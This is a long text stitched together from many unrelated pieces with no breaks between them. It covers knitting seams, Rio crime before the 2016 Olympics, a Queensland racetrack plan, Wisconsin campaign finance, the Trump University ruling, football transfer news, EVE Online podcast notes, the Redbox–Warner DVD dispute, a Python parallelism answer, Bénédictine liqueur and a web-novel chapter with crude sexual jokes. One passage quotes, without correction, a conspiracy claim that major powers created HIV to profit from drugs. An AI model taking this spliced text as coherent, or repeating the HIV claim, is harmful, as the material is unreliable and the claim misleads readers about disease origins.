This invisible seam joins two edges row by row like vertical seaming on stockinette stitch. The alternating pattern of catching top and bottom loops of the stitches makes it so that only you can tell there's a join.
Insert the yarn needle into the top loop on one side, then in the bottom loop of the corresponding stitch on the other side. Continue to alternate in this way.
invisible horizontal on stockinette stitch
This seam is used to join two bound-off edges, such as shoulder seams, and is worked stitch by stitch. You must have the same number of stitches on each piece. Pull the yarn tight enough to hide the bound-off edges. The finished seam resembles a row of knit stitches.
The finished horizontal seam on stockinette stitch With the bound-off edges together, lined up stitch for stitch, insert the yarn needle under a stitch inside the bound-off edge of one side and then under the corresponding stitch on the other side.
invisible vertical to horizontal
This seam is used to join bound-off stitches to rows, as in sewing the top of a sleeve to an armhole edge. Since there are usually more rows per inch (2.5cm) than stitches, occasionally pick up two horizontal bars on the piece with rows for every stitch on the bound-off piece.
The finished vertical to horizontal seam on stockinette stitch Insert the yarn needle under a stitch inside the bound-off edge of the vertical piece. Insert the needle under one or two horizontal bars between the first and second stitches of the horizontal piece.
slip stitch crochet seam
This method creates a visible, though very strong, seam. Use it when you don't mind a bulky join or are looking for an especially sturdy connection.
With the right sides together, insert the crochet hook through both thicknesses. Catch the yarn and draw a loop through. *Insert the hook again. Draw a loop through both thicknesses and the loop on the hook. Repeat from the *, keeping the stitches straight and even.
backstitch
This is a strong seam that is worked from the wrong side and creates a seam allowance. Because it is not worked at the edge of the fabric, it can be used to take in fullness. The seam allowance should not exceed 3/8"/1cm.
The finished backstitch on stockinette stitch 1. With the right sides of the pieces facing each other, secure the seam by taking the needle twice around the edges from back to front. Bring the needle up about ¼"/.5cm from where the yarn last emerged, as shown. 2. In one motion, insert the needle into the point where the yarn emerged from the previous stitch and back up approximately ¼"/.5cm ahead of the emerging yarn. Pull the yarn through. Repeat this step, keeping the stitches straight and even.
overcasting
This seam is usually worked from the wrong side, but it can also be worked from the right side with a thick yarn in a contrasting color to create a decorative, cordlike seam.
The finished overcast seam on stockinette stitch With the right sides of the pieces facing each other and the knots lined up, insert the needle from back to front through the strands at the edges of the pieces between the knots. Repeat this step.
edge-to-edge
Effective immediately, if we receive information indicating that someone is using our services to traffic in stolen intellectual or physical property from Microsoft, we will not inspect a customer's private content ourselves. Instead, we will refer the matter to law enforcement if further action is required.
Rio de Janeiro (AFP) - Pulling in at one of Rio's swishest buildings, the driver of the blue luxury car turns on the blinkers, pauses for the security gate to open -- and suddenly is staring into the barrel of a gun.
A man in a dark top runs up, pointing the firearm at the side window. Two more assailants yank open the doors and grab items before all three flee, and the car continues toward the garage.
Twenty seconds have passed on the security camera footage. And the crime statistics for one of the most tourist-friendly neighborhoods in this Olympic host city have just risen another notch.
Deadly violence in Rio de Janeiro's poorest areas, known as favelas, has been famous internationally at least since the hit Brazilian film "City of God" in 2002.
But while the half million tourists and 10,500 athletes expected to attend the Olympics starting August 5 will be cautious about entering favelas, there are growing fears for their safety in even the fanciest areas of the city.
The car hold-up occurred last week outside an imposing residence called the Diamond Tower, near the beach in ultra-chic Ipanema. A similar armed attack in the same street a month ago made waves because the daughter of Rio state's acting governor was in the car.
For the increasingly weary inhabitants of privileged neighborhoods, violent crime is no longer something that happens to others.
"We're afraid of going to the bank to get money. At night we don't feel safe. It's so sad, we have a country without authority or laws," said Tito Martis, a 75-year-old Ipanema resident, waving a rolled up newspaper in anger. "It's brutal and absurd."
- Olympians at risk? -
About 85,000 soldiers and police will be deployed in Rio for the Games, twice as many as at the 2012 London Olympics. But it is unclear how effective they will be in a city sometimes resembling the Wild West.
Automatic weapons battles often erupt between police and drug traffickers. Although isolated to favelas, these clashes can be only blocks away -- within stray bullet range -- from the supposedly quiet zones where Olympians and tourists will congregate.
Recent firefights have taken place near the Athletes' Village in Barra and in Chapeu Mangueira, near Copacabana, which will host the beach volleyball and several other competitions. An hours-long confrontation involving heavy exchanges of automatic fire took place last weekend in the Rocinha favela, near Ipanema.
Some Olympic teams will make a point of visiting favelas, often to boost local NGOs bringing sport to deprived communities. However these visits are likely to be tightly controlled.
Australia however has gone so far as banning its athletes from favelas altogether.
Richer Rio residents tend to shrug at the fate of favela dwellers, who run the biggest risks from gun violence. But the danger is spilling out.
Last weekend, three members of the Spanish Olympic sailing team were robbed at gunpoint by five youths in Santa Teresa, one of Rio's most picturesque and tourist friendly areas. In February an Argentine tourist was murdered while being mugged on Copacabana beach.
And gun-toting thieves regularly raid major highways north of the city, meaning that anyone can stumble into crossfire.
Few would go as far as former Brazilian football star Rivaldo, who this month urged foreigners to "stay in your country. Here your life is in danger."
But the fear is real.
- 'Prisoners at home' -
Ipanema, just like other wealthy areas of Rio, boasts glitzy shops and residential buildings with fanciful names like the Golden Dune. But the rich live behind tall fences, bars and barbed wire.
During the Olympics "we'll be the prisoners in our houses instead of the bandits," said model Beth Grego, 64, as she walked with her friend Gilse Prates, a 39-year-old doctor.
"Fifteen years ago here I'd come home at night and I wouldn't have a problem. Now I'd never come back by bus alone," Prates said.
The two, both of them carrying large Louis Vuitton handbags, said that not walking alone, keeping your bag in front, and taking taxis instead of public transport are now standard practice.
The first stage of the $220 million Ipswich Motorsport Precinct project will focus on improving the current 3.1km layout, which has been in place since the facility opened in 1999.
A design partner for the circuit is expected to be confirmed as soon as this week, with a mid-October deadline slated to finalise plans for the extension.
The masterplan unveiled by the Ipswich City Council in July showed a relatively simple loop added to the existing circuit, starting with a 90 degree left-hand turn ahead of the current Turn 1.
A desire to add elevation change to the currently flat layout, however, is understood to have seen the prospect of adding a crossover bridge floated.
Such an addition would also likely take place to the left of the current Turn 1 and leave the majority of the existing layout untouched.
A stated aim of being able to operate two circuits at once for driver training and club days means that a second pitlane will also be built on the new loop.
Although likely to include several new corners, the additional section is not expected to extend for more than a kilometre.
Australian motorsport has been without a circuit with a crossover since New South Wales’ much loved Oran Park closed in 2009.
Ipswich project general manager Damien White confirmed to Speedcafe.com that the previously released masterplan design is subject to changes that will be thrashed out in an upcoming design workshop.
“There are no firm plans or final design at this stage,” White told Speedcafe.com.
“The masterplan that was shown at around the time of the Supercars event was exactly that – a masterplan with concepts on it.
“The layout of the Queensland Raceway on that document was purely a concept and we have the option to vary that design when we see fit.
“We are close to confirming an organisation that we will contract to work with us and other users of the circuit to deliver a design that is fit for purpose.”
The process will see the precinct and its design partner consult with a broad range of the circuit’s current users – including competitors and car manufacturers – before locking in a design.
The Ipswich Motorsport Precinct is hoping to secure $52 million of public funds for the circuit upgrades, which will be undertaken before work starts on improving the surrounding infrastructure.
It's a potentially significant omission because under Wisconsin’s new campaign finance law, there's no limit to how much donors can give to legislative campaign committees.
The committees have historically filed their reports at the same time as candidates, and for this most recent reporting period, Senate Republicans, Senate Democrats and Assembly Democrats all reported their numbers. But the Republican Assembly Campaign Committee did not file.
Assembly Speaker Robin Vos, who is in charge of RACC, said state Assembly Republicans are "following everything that the law requires."
"My understanding is that you only have to report if you are making transfers and having expenditures for candidates," Vos said. "And we are not doing that. We are in the fundraising mode."
Democratic Assembly Minority Leader Peter Barca accused Republicans of exploiting the new law they helped write, calling it another step toward eliminating transparent government in Wisconsin.
"I was just shocked to find out that they looked at this loophole and somehow are arguing the fact that the public does not have a right to know how much they're raising and spending," Barca said. "Something new in Wisconsin."
It’s not clear if U.S. District Court Judge Gonzalo Curiel gave the order, which came in response to a media request for access, based on statements Trump made at his San Diego convention center speech. But the timing is coincidental.
The ‘Stop Hillary’ campaign is on fire! Join the surging response to this theme: ‘Clinton for prosecution, not president’
Trump during his speech called Curiel a “hater” and spoke of his ethnic background, Politico reported.
Specifically, Trump said, the news outlet reported: “I have a judge who is a hater of Donald Trump, a hater. He’s a hater. His name is Gonzalo Curiel … I think Judge Curiel should be ashamed of himself. I’m telling you, this court system, judges in this court system, federal court, they ought to look into Judge Curiel. Because what Judge Curiel is doing is a total disgrace, OK?”
And it was just a few hours laters, from a court room in the same city, that Curiel’s ruling was made public.
On top of that, Curiel referenced a couple of previous media stories that quoted Trump as characterizing him as an unfair judge, one entited “Trump: Judge’s ethnicity matters in Trump University suit,” Politico said.
Trump University has emerged as a thorn in the billionaire businessman’s side as he campaigns for president. Some have come forward to accuse the university of fraud and of Trump of fraudulently promising to deliver on certain benefits to graduates that never materialized.
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Trump has consistently denied any wrongdoing. But some internal university documents have been kept from public viewing. The documents, from 2009 and 2010, include information specific to running the enterprise and selling programs to customers. Trump attorneys say these documents, or “Playbooks,” contain trade and operational secrets and should therefore be exempt from open records’ requests.
But Curiel found otherwise.
“Defendant became the front-runner for the Republican nomination in the 2016 presidential race and has placed the integrity of these court proceedings at issue,” he wrote in his order to unseal the internal documents, Politico reported.
The order from Curiel came in direct response to the Washington Post’s request for records’ access. But students who attended the university between 2005 and 2010, and took its real estate offerings with hope to make big money post-graduation, have filed two class action lawsuits in San Diego, alleging fraud. The New York attorney general has also filed a separate suit on the same charges.
One attorney for Trump, Alan Garten, told CNN in a previous interview about the allegations that plenty of students were satisfied with their course offerings, which ranged in price from $1,495 for three-day seminars to $35,000 for “Gold” programs that provided one-on-one mentoring, real estate trips and access to those with financial expertise.
The flagship Young Animal title returns next week with Doom Patrol #4, and this preview brings the story down to a more personal level as it explores the fraught relationship between Samuel Reynolds and his son, Lucius. Sam doesn’t agree with Lucius’ approach to bettering himself through metaphysical exploration, but there are deeper issues involving the absence of Lucius’ mother that are affecting the boy’s behavior. As the series gets odder and odder, these moments of more relatable personal drama are important to ground the series in a solid emotional foundation.
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This sequence also showcases the attention to detail in Derrington and Bonvillain’s artwork; the character expressions are nuanced and specific, the environment feels lived in, and the coloring highlights the shift in the atmosphere as Sam makes his way from his cold bedroom to his son’s fiery bedroom. The establishing shot of Lucius’ room is especially notable for how it reinterprets classic DC characters and concepts for the band posters that line the walls, and there are a lot of very fun Easter eggs in that panel. The final page of the preview shifts focus to show Larry Trainor and Cliff Steele in the Negative Space, and there’s a dramatic change in the scope of the artwork, throwing readers back into the unbridled weirdness that has defined this series from the first issue.
Atletico Madrid are eyeing Newcastle goalkeeper Tim Krul as a possible replacement for Thibaut Courtois.
The Spanish side, who are closing in on the La Liga title, expect Courtois to return to Chelsea once his latest loan spell expires in the summer.
They are therefore searching for a new number one and Krul is the man Diego Simeone is ready to turn to.
talkSPORT can reveal Atletico’s sporting director, Jose Luis Caminero, made a personal check on the Dutchman at the Emirates on Tuesday night.
And he saw Krul produce an impressive performance despite his Newcastle side losing 3-0 to Arsenal.
Atletico are now considering testing the Toon’s resolve with a summer bid of around £10m for the 26-year-old, who is keen to play in the Champions League
Krul has developed into one of the Premier League’s best keepers after making his Newcastle debut in 2009 and boss Alan Pardew will be desperate to hold on to the player.
"Today there is this outstanding question that why so many killer viruses, including the HIV virus, have spread all over the world. Many so-called experts say the spread has come as a result of vices and immoralities but we see that in the centre of the places that these viruses have emerged these immoral acts have not been reported," he said. "Then how is it that at the same time in some African countries they find these viruses?
"It is obvious that the African countries must be plundered of their wealth and resources. The major powers and despots are behind the development of these diseases so they could then sell their drugs and medical equipment to the poor countries".
Iran¹s Health Minister Fatemeh Vahid Dastjerdi has also said that Iran¹s profit margin from its oil production is only five percent of its total sale price, whereas pharmaceutical firms¹ profits is 20 percent for each drug they sell.
Intros
What we’ve been doing lately
Feedback:
iTunes: 5 Star Reviews
Lurkster: The Neocom is an amazing podcast. Perfect for newbros and vets alike.
Avyran Ronuken: I love that The Neocom actually talks about what line members do in Eve. Good to have a podcast that we can hear ‘bout playing the game.
Random McNally: Proto and Kira take the dark and unfriendly world of Eve Online and make it a place where you not only have fun, but can enjoy being in. They approach the game with a high energy and a positivity that is infectious. Keep up the great work, crew!
Myth Oceanas: I listen to any Eve podcast I can get my ears on and yours is one of the best. Keep it up!
Grima Atrin (Is that you, Grima The Mad?): Love the podcast. Proto and Kira freak out and get so excited.
Special Hat Tip:
Danielle (Dani) Eden ‏@Arydanika Apr 22
@TheNeocom @keepitlikeitwas Miss you too, but love what you’re doing and the site. Beautifully aggregated.
Clyde A Glide ‏@ClydeAGlide Apr 13
@TheNeocom love the show. Fellow Brave Newbie. Been having fun Following Kira into fights. Have not seen proto yet. In game: Clyde Gibson.
Kurbanis Araeleus ‏@Kurbanis_ISNP Apr 13
I just looked like a wierdo laughing my ass off in the gym to creepy stalker Proto @TheNeocom great job on the podcast guys! 🙂 #tweetfleet
Maximus Aerelius ‏@CEOMCMXD Apr 9
DLing @TheNeocom‘s E6: Creepy Stalkers, Drifter Sleepwalkers, & Heroes. Let’s see what it’s got 🙂 http://theneocom.com
In Game Mail:
From: Harm Araknid
Sent: 2015.04.22 09:26
Hi Proto,
I’ve been listening to episodes 1 through 6 over the last 3 days during my daily commute and I thought I’d let you know how much I have enjoyed them. You and Kira have a great rapport and the podcast quality and flow has improved nicely each episode. I am an older player both in game and RL, and a high sec carebear, but I like to live vicariously in other parts of Eve via the various podcasters out there. As a very casual player it’s the Eve meta that keeps me hooked and logging in a couple of hours a week.
p.s. I just left you a 5 star on iTunes.
Development News (feat Alton Haveri and Lina Ambre):
(Alton) SKINs!!!
https://www.youtube.com/watch?v=FqLQZA4qfWE
Related: Bug in SKIN system
https://community.eveonline.com/news/news-channels/eve-online-news/bug-discovered-with-skin-system/
(Lina) LIVE EVENT! Drifter showdown in Yulai!
https://www.youtube.com/watch?v=8cx8Ac44RL44
Corporate Role Defect per CCP Falcon:
https://community.eveonline.com/news/news-channels/eve-online-news/a-message-from-customer-support-concerning-the-corporate-role-defect/
Anyone caught using this bug for their own advantage because of this 30 hour window of opportunity will be considered a TOS violation and treated accordingly – YOU HAVE BEEN WARNED!
Back to Alton Haveri for the Amarr buildup from Drifter aggression
https://www.youtube.com/watch?v=1cVy35E-pjY\
Community News:
More media rounds with Kira Tsukimoto as she was on The Meta Show! Check out TheMittanidotcom’s Twitch channel for more information.
PLEX for Food: Nepal
https://community.eveonline.com/news/dev-blogs/plex-for-good-nepal/
To make your PLEX for GOOD donation:
Contract one or more PLEX to the “CCP PLEX for GOOD” character on a 14-day item exchange contract.
Contracts will be accepted within 24 hours of submission, though usually sooner than that.
TheNeocom.com will not be specifically collecting donations on a formal level. If you have a small amount of ISK to donate, we can facilitate working with other organizations who are aggregating ISK donations to turn into PLEX. We encourage everyone to either give PLEX directly to CCP or support your favorite website / Twitch streamer / or other podcasts who may be arranging a formal drive. If you want some help in getting ISK donations to the campaign, we’ll be glad to help out.
We have a winner for the Community Vanguard Award in the player category. Winner to be announced during Eve Vegas!
Oh, did we mention – FANSITE STATUS: GET!!!
(BREAK)
Cyrillian Voth – Links In Local
Sindel Pellion – Blue List
Special Guest Segment: Mynxee – Signal Cartel
About Signal Cartel
https://www.eve-scout.com/signal-cartel/
How to Join
https://www.eve-scout.com/signal-cartel/how-to-join/
EvE-Scout
http://www.eve-scout.com
EvE-Scout public subreddit
http://www.reddit.com/r/evescout
In-game public lobby: EvE-Scout
Trivia question!
For a custom SKIN Courtesy of Otto Bismarck:
Maller Tash-Murkon SKIN
Imicus Intaki Syndicate SKIN
Kestrel Wiyrkomi SKIN
Rifter Krusual SKIN
“In Episode 4 – The Road to Redemption, what title did Onslaughter accidentally give himself?”
Welcome To Eve: Jason McKinley: As a player who has never been, why do you play in 0.0 ? – Prize Giveaway of a four pack of faction frigates courtesy of J McClain and The Best of Us Community
Shoutouts:
J McClain for the prize pack of faction frigates. We’ll give another prize pack away next episode.
Dee De Dee – Sheep Moon Podcast http://www.rivalcastmedia.com
Contact Information:
The Neocom Podcast is available through the Evepodcasts.com RSS feed or by visiting us at TheNeocom.com. If you’re tuning in via iTunes, please leave us a 5 star rating or give us a thumbs up on Stitcher. As always, you can email us at NeocomPodcast@gmail.com
Kira Twitter @KiraTsukimoto
Proto Twitter @Proto_eve
You can also follow the podcast Twitter @TheNeocom for website updates and articles.
We also have an ingame channel if you’d like to chat with us or just hang out with the coolest people in Eve. Join the in game channel “TheNeocom” – all one word.
CLOSING
Song selections for this podcast:
Sindel Pellion – Blue List
Luobote Kong – Can’t Stop the Signal
https://soundcloud.com/luobote-kong/cant-stop-the-signal
Warner Bros.' deal with Redbox has expired with the two companies still at odds over how long consumers should wait to rent DVDs for $1.20 a night.
As a result, kiosk rental company Redbox will have to buy Warner DVDs from retailers like Wal-Mart at a higher price but will no longer make customers wait 28 days after discs go on sale to rent them, as it did under a previous agreement with the studio.
The two sides were clashing earlier this month when Warner Bros. announced it would sell its DVDs and Blu-ray discs only to rental companies that agreed to wait until 56 days after they go on sale. Warner executives believe that the delay encourages consumers to buy DVDs and Blu-rays or rent movies via video-on-demand, both of which are more profitable transactions for the studio at a time when home entertainment revenue has been shrinking for years.
Two years ago, after a similar dispute, Redbox agreed to the 28-day delay in order to buy movies directly from Warner Bros. at a discount. But Redbox has concluded that 56 days is too long to make its consumers -- who often look for new releases in the red kiosks -- wait.
In a statement, Redbox senior vice president of marketing Gary Cohen said the company "will work to provide Warner Bros.' movies through alternate means." That will most likely mean buying the discs in bulk from retailers or other distributors who charge more than the studio when it sells directly.
A Warner Bros. spokesman fired back in a statement: "The consumer is best served by a windowing and pricing structure that ensures a healthy film business continuing to deliver quality movies. We hope to continue discussions with Redbox and reach a mutually agreed upon solution to this situation, but we fully intend to do what is best for our business, our consumers and the industry as a whole."
A person close to the matter but not authorized to speak publicly said the companies had continued talks in hopes of reaching a compromise throughout January. But the two sides could not find common ground and consequently don't currently plan on having more discussions.
Among other major retailers, Netflix agreed to abide by the 56-day delay, but Blockbuster has not, meaning it too will have to buy Warner discs from other sources.
Redbox currently has direct deals with all other Hollywood studios, but its agreement with Universal Pictures expires in April. Universal currently imposes a 28-day delay, and it's not yet known whether it will, like Warner, try to extend it longer.
The first Warner Bros. release that Redbox will have to acquire through "alternate means" is "A Very Harold & Kumar Christmas," which comes out on DVD on Feb. 7.
Separately, Redbox announced Tuesday that it extended a deal to feature its kiosks at 3,700 Wal-Mart stores through January 2015.
RELATED:
Netflix stock surges 22% after strong earnings
Redbox, Warner Bros. headed to war over DVD delay
Redbox raises price to $1.20, prepares for second battle with studios
-- Ben Fritz
Think what is faster to do when solving a simple math problem. What is the fastest way to count all numbers from 1 to 100?
1) by summing the results one by one and adding the sum to each other incrementally (1+2=3, 3+3=6,6+4=10 and so on). One core is working on this task.
2) split values beforehand into individual chunks and sum the values there first (1 to 30, 31 to 60 and 60 to 100). Three cores will be working at the same time (last step would be to sum three values received).
Since different GP tools are implementations of different algorithms with different big-O notation, you would probably need to approach them differently in terms of submitting multiples processes.
A good starting point would be to learn how multiprocessing library in Python works. I use quite heavily.
I have also noticed that running Python scripts from a command line by using the 64-bit Python usually results in faster running (comparing to the IDE's run, but this might not be the case on your machine). Background geoprocessing was introduced in 10.1, but try to run the Python scripts with 64 bit Python and see how the performance is being affected.
Bénédictine is a herbal liqueur produced in France. Flavored with some twenty-seven flowers, berries, herbs, roots, and spices, it was developed by wine merchant Alexandre Le Grand in the 19th century, and marketed as having been derived from an original recipe of Benedictine monks of the Abbey of Fécamp in Normandy lost in the ashes of the French Revolution.
A drier version, B&B, blending Bénédictine with brandy, was developed in the 1930s.
History [ edit ]
In the 19th century Alexandre Le Grand invented a recipe for an herbal liqueur, helped by a local chemist. To market it, he concocted a story of it having been developed by monks at the Benedictine Abbey of Fécamp in Normandy, and produced until the abbey's devastation during the French Revolution.[1] He began production under the trade name "Bénédictine", using a bottle with a distinguishing shape and label. To reinforce his myth, he placed the abbreviation "D.O.M." on the label, for "Deo Optimo Maximo" ("To God, most good, most great"), used at the beginning of documents by the Benedictine Order to dedicate their work. Much of the Bénédictine drunk outside of France is consumed in the Burnley area of England, due to soldiers from the East Lancashire Regiment getting a taste for the drink while fighting in the First World War and sheltering at the Abbey, which was being used as a hospital at the time[2].
The family eventually sold the company to Martini and Rossi, which was in turn bought by Bacardi.
Recipe [ edit ]
The recipe is a closely guarded trade secret, purportedly known to only three people at any given time.[3] So many people have tried to reproduce it that the company maintains on its grounds in Fécamp a "Hall of Counterfeits" (Salle des Contrefaçons). The bottle and label have been imitated, as has the name Bénédictine. The company prosecutes those it feels are infringing on its intellectual property.
The manufacturing process involves several distillations which are then blended. The recipe of Bénédictine is a commercial secret, but it is known to contain 27 herbs and spices, of which the following 21 are publicly known:[citation needed] Angelica, hyssop, juniper, myrrh, saffron, mace, fir cones, aloe, arnica, lemon balm, tea, thyme, coriander, clove, lemon, vanilla, orange peel, honey, red berries, cinnamon, and nutmeg; leaving six unknown ingredients.
Other products [ edit ]
The same company also produces "B & B" (or Bénédictine and Brandy), developed in the 1930s in response to a shift in taste toward drier (less sweet) liqueurs, simply by blending Bénédictine with brandy. Originally both products were 43% alcohol by volume (86 proof), but are now 40% alcohol (80 proof).
In 1977 the company introduced a 30% alcohol (60 proof) coffee liqueur which was called Café Bénédictine, a blend of Bénédictine and a coffee-flavoured liqueur, but it has been discontinued. The company also produces Bénédictine Single Cask, which comes in a unique black bottle and is only available at the Palais de la Bénédictine's store in Fécamp, Normandy, France.[citation needed]
References [ edit ]
^ Interview, Le Palais bénédictine de Fécamp, FR3 – Normandie. ^ https://www.jamieoliver.com/drinks-tube/benedictine-and-the-burnley-miners/ ^ "Benedictine". Liquor.com .
Executive producer Fredrik Rundqvist at The Division developer Massive made it clear that his team is squeezing everything they can from the newish systems. In an interview with website PlayStation Universe, Rundqvist explained that Massive began The Division with the new consoles specifically in mind. It’s no surprise that a developer would come out and say its game is doing something really well, but Ubisoft is likely skittish about permitting its developers to talk after recent issues with Assassin’s Creed. The Division producer also baked in a bit of an excuse for why Ubisoft’s other games might not look as good.
“We developed both the engine and the game specifically for this new generation of consoles,” said Rundqvist. “So we didn’t have any problems at all, it was perfectly built for that.”
Rundqvist pointed out that this is different from a game like Assassin’s Creed, which runs on an older technology that Ubisoft upgraded for Sony’s and Microsoft’s new systems.
“Ours was built from the ground up [for PlayStation 4 and Xbox One],” said Rundqvist who went on to specifically praise Sony’s tech. “[The Division] takes full advantage of the PlayStation 4. It’s an amazing machine.”
Last week, Ubisoft dealt with some unhappy fans after Assassin’s Creed: Unity producer Vincent Pontbriand explained the game is 900 lines of horizontal resolution and 30 frames per second on both Xbox One and PlayStation 4. The reason he gave was to avoid “all of the debates.” Fans thought this meant Ubisoft purposefully held back the PS4 version of the game — although Ubisoft came out and denied that is the case.
While Rundqvist is taking pride in maximizing the PlayStation and Xbox One, that doesn’t mean the game will run at 1,080 lines of horizontal resolution and 60 frames per second, which is an ideal that many gamers want to see. Instead, the studio has previously said that it wants to lock The Division in at 30 frames per second. That will enable the developer to put more effort into the visual fidelity.
While Rundqvist and his team at Massive are working to build an amazing looking game right now, they are also looking forward to the future.
Chapter 207: Race
Ha? Eh? Street Racing?
What the hell is this idiot saying?
Street racing… He’s drifting further and further away from being a hero.
What’s more, he’s giving off a very refreshing smile.
It’s annoying. Insanely annoying.
It’s a face I might unintentionally punch with all my might.
I don’t really want to involve myself with this anymore.
I lift up my shield…
「Portal-」 (Naofumi)
“Wait, wait! You’re leaving!?” (Melty)
“After seeing that, what other option do you want me to pick?” (Naofumi)
If there’s an option B or C, please tell me.
“If you leave, what will happen to Firo-chan?” (Melty)
“Hm… I’ll give up on her.” (Naofumi)
“Say what!?” (Melty)
If I leave her be, Motoyasu will definitely do something. I’ve decided to believe in the man.
Though that’s only for my own convenience.
“No!” (Firo)
Firo is resisting quite hard.
“Fuee… What is that guy doing, the Hero of the Spear!?” (Rishia)
“Ah, that person’s been like that for quite a while.” (Naofumi)
“What did you do!?” (Rishia)
“This person’s sister broke him, and then Firo destroyed all remaining parts of his personality.” (Naofumi)
“Sister…!” (Melty)
“The Sword person also turned strange due to the former princess, right? Are you not going to save him?” (Rishia)
“The individual is satisfied with his current situation.” (Naofumi)
“Ah, and who is this ‘Father in Law’?” (Rishia)
“It seems to refer to me.” (Naofumi)
“And Why!?” (Melty)
Explaining sounds like a pain. I want to run away as soon as possible.
The one who isn’t here when Firo was in a pinch was that man… Is it because he was raising Filo Rials?
He really does unnecessary things.
I was worried because I hadn’t seen him for a while, but he was raising children.
He couldn’t get Firo’s attention, so he raised other Filo Rials to console him!
“Firo wants to return home…” (Firo)
“Yeah… I also want to return.” (Naofumi)
Firo doesn’t like being around Motoyasu.
But I need to put her somewhere while she’s in heat.
“Um… Motoyasu, what exactly are you doing?” (Naofumi)
“Street Racing.” (Motoyasu)
“That doesn’t answer anything!” (Naofumi)
This is no good. Too many things aren’t adding up.
The Curse Series… I want to believe that that is the cause.
“…Why are you operating a place for street racing?” (Naofumi)
“These kids said they wanted to, so I let them do as they pleased.” (Motoyasu)
“Ah, I see. Aren’t you giving them a little too much freedom?” (Naofumi)
Filo Rials love carts, and like hermit crabs, occasionally steal them from each other… and he let them act freely.
I don’t understand.
I never was able to understand all of Motoyasu’s actions, but in the time I haven’t seen him, he’s turned even more unpredictable.
I should have noticed when Filo Rials came up.
I was deceived by being told tales of Fitoria and Bandits.
But let’s see here, Ren was a thief, and Motayasu became a Bandit… Is Itsuki aiming to become the Pirate King?
“Hey, why are you Father in Law!?” (Melty)
“Perhaps because I’m the one who raised Firo.” (Naofumi)
Motoyasu seems to think owner = parent.
Firo may be my subordinate, but she’s definitely not my child.
Even if I was her father, isn’t this guy older than me?
Why is he calling someone younger than him ‘Father in Law’?
“See, Firo-tan. It’s our children.” (Motoyasu)
“Is that true!?” (Naofumi)
So while in heat, she already did it with Motoyasu.
But she still wanted to do it with me? What a bitch.
What a troublesome person. I placed quite a bit of trust on her… I hate bitches, you know.
If it’s true, she better be prepared for quite a bit of punishment.
“No! He’s wrong, Master! Firo never did anything like that!” (Firo)
“There’s no way Firo-chan would do such a thing! Please stop lying!” (Melty)
“By the way, there are quite a few pigs around you, Father in Law.” (Motoyasu)
“Listen to me! And what do you mean by pig!?” (Melty)
“P-pig!?” (Rishia)
“Pig? What do you mean by that, anyways?” (Naofumi)
“I mean exactly as I say. Aren’t there a lot of pigs around you?” (Motoyasu)
… um, well… Motoyasu did call some women pigs before at the inn we stayed at.
He also called Raphtalia Tanuki-pig.
Could it be…
“Oy, when you look at this, what do you see?” (Naofumi)
I point at Melty.
“A blue piglet. It’s saying oink over and over again. I find it annoying. It’s gross…” (Motoyasu)
“What was that!? When you say pig, are you referring to me!? Cut the Crap!” (Melty)
“Give it up. It’s your sister’s fault.” (Naofumi)
“Idiot Sister!” (Melty)
Well, I guess I can understand Melty’s rage at being called a pig.
But this seems to really be the case.
After being swallowed by the curse series, Motoyasu can only see women as pigs.
He’s not reacting to Melty’s words, so he can’t even hear them.
But… He doesn’t seem to hold any ill intentions.
“So are those Filo Rial really your and Firo’s children?” (Naofumi)
“Nope.” (Motoyasu)
… He answered very honestly… He probably bought them.
Don’t make up stuff to send us into panic.
Now that I think about it, when I went to the Slave Dealer’s place to drop off money, something was strange.
He didn’t look me in the eye.
Was this the cause?
“Now then, Father in Law. I challenge you.” (Motoyasu)
“Why!?” (Naofumi)
“We’ll set the torch up by the cliff as a goal point. The first person to reach it will be able to select and keep one of their opponent’s angels. Does that sound alright?” (Motoyasu)
“Don’t go deciding things on your own!” (Naofumi)
“Mo-kun, is it time yet?” (Filo Rial)
“Almost, dear.” (Motoyasu)
Who the hell is Mo-kun!?
Those three Filo Rials are Red, Blue Green. It reminds me of old racing games.
To complete the set, they would need a Yellow, but… Ah, I guess Human form Firo is blond.
Those three each seem to have distinct personalities…
But I don’t really want to check.
“Now then, let’s start the race!” (Motoyasu)
“O-oy! Listen to me!” (Naofumi)
Before I can stop him, Motoyasu disappears down the path he came from.
The sight of the Three Filo Rials running in little girl form…
In my world, this scene would have gotten him arrested immediately.
“W-what will you do?” (Melty)
“… Let’s ignore them and go home.” (Naofumi)
“Won’t that become our loss?” (Melty)
“Probably, but I don’t really care.” (Naofumi)
Damn you Fitoria. Next time, I’ll just have Rat shove Firo in a test tube.
It may be dangerous, but we’ll fill her with sedatives until her mating season ends.
The scenes in my imagination shift to SF. This sounds like Cold Sleep.
She probably won’t die, she’ll wake up before that.
“Hm? What do you mean?” (Firo)
“Well, Firo-chan. If you lose to the Spear Hero, you will belong to the Spear Hero.” (Melty)
“That’s right Firo-chan. Thank you for the time we shared ‘til now. I’ll take up your role of sleeping next to Naofumi-sama.” (Atlas)
“Eh!?” (Firo)
It’s a bit late, but Firo finally realizes she’s been made into a competition prize.
“No!” (Firo)
“Uwa-” (Naofumi)
Firo starts running off at a remarkable pace.
“FUEEEEEEEEEEEEEEEEEEEEEE!” (Rishia)
I agree with Rishia’s shout.
With the difference in start times, we’re already losing by quite a margin.
What is the course like?
I bet it’s advantageous to Motoyasu. That man’s been using this mountain as his territory, right?
Let’s see. I take out a map.
With all the shaking, it’s hard to read.
I look through the map, but… There are so many winding paths I have no idea which way to go.
There are plenty of paths that go alongside cliffs.
… It seems Firo’s motivated, so I guess I should support her.
He never said magic was banned.
「Zveit Aura!」 (Naofumi)
With this, her speed should rise.
“Firo, use the inertia of the carriage to maintain speed as we round that curve.” (Naofumi)
“Okay!” (Firo)
As I propose that, the bird begins a drift with the carriage.
What sort of turning method is this? I’m worried that the wheels will break.
But Motoyasu is doing the same. In a cliff ahead of us, I see Motoyasu far ahead, rounding a corner through drifting.
Firo’s base speed is higher, but Motoyasu’s familiarity with the course, and his early start make it hard to catch up.
“Right! Left! In that fork, the left path is shorter!” (Naofumi)
It’s hard to drive while looking at a map.
Also, our carriage is made of metal, and has quite a few passengers.
If we want greater speed, it’s probably best to leave then.
“Hey Firo.” (Naofumi)
“What~?” (Firo)
Inside the shaking carriage, everyone is frantically holding on to the sides to prevent themselves from falling out.
“Can you leave the carriage and chase them?” (Naofumi)
“I can’t!” (Firo)
“Why?” (Naofumi)
“This is Firo’s battle, right? Then Firo can’t leave the carriage.” (Firo)
“I see…” (Naofumi)
Is it something carved into her Filo Rial instincts?
